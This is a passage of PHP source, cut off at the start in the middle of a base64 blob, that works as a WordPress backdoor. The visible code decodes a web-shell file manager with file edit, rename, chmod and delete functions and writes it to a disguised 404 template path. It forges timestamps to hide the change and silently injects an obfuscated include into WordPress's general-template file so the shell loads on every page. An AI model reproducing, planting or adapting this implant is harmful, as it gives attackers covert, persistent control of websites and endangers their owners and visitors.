3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}